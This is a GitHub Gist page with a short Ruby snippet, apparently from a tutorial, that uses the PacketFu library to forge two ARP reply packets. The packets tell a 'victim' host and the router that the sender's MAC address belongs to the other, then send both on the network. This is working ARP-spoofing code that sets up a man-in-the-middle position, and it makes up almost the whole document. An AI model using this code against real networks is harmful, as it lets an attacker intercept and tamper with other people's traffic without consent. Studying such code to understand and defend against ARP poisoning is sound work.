Created
April 2, 2016 06:55
-
-
Save ochronus/3f313ba9460161689ad37ba38ab79425 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
arp_packet_victim = PacketFu::ARPPacket.new() | |
arp_packet_victim.eth_saddr = 'd2:7b:9c:71:7b:6f' # our MAC address | |
arp_packet_victim.eth_daddr = 'd4:9e:cb:08:5a:27' # the victim's MAC address | |
arp_packet_victim.arp_saddr_mac = 'd2:7b:9c:71:7b:6f' # our MAC address | |
arp_packet_victim.arp_daddr_mac = 'd4:9e:cb:08:5a:27' # the victim's MAC address | |
arp_packet_victim.arp_saddr_ip = '10.0.0.1' # the router's IP | |
arp_packet_victim.arp_daddr_ip = '10.0.0.101' # the victim's IP | |
arp_packet_victim.arp_opcode = 2 # arp code 2 == ARP reply | |
arp_packet_router = PacketFu::ARPPacket.new() | |
arp_packet_router.eth_saddr = 'd2:7b:9c:71:7b:6f' # our MAC address | |
arp_packet_router.eth_daddr = '29:ef:54:43:78:32' # the router's MAC address | |
arp_packet_router.arp_saddr_mac = 'd2:7b:9c:71:7b:6f' # our MAC address | |
arp_packet_router.arp_daddr_mac = '29:ef:54:43:78:32' # the router's MAC address | |
arp_packet_router.arp_saddr_ip = '10.0.0.101' # the victim's IP | |
arp_packet_router.arp_daddr_ip = '10.0.0.1' # the router's IP | |
arp_packet_router.arp_opcode = 2 # arp code 2 == ARP reply | |
# we send out both packages | |
arp_packet_victim.to_w(@interface) | |
arp_packet_router.to_w(@interface) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment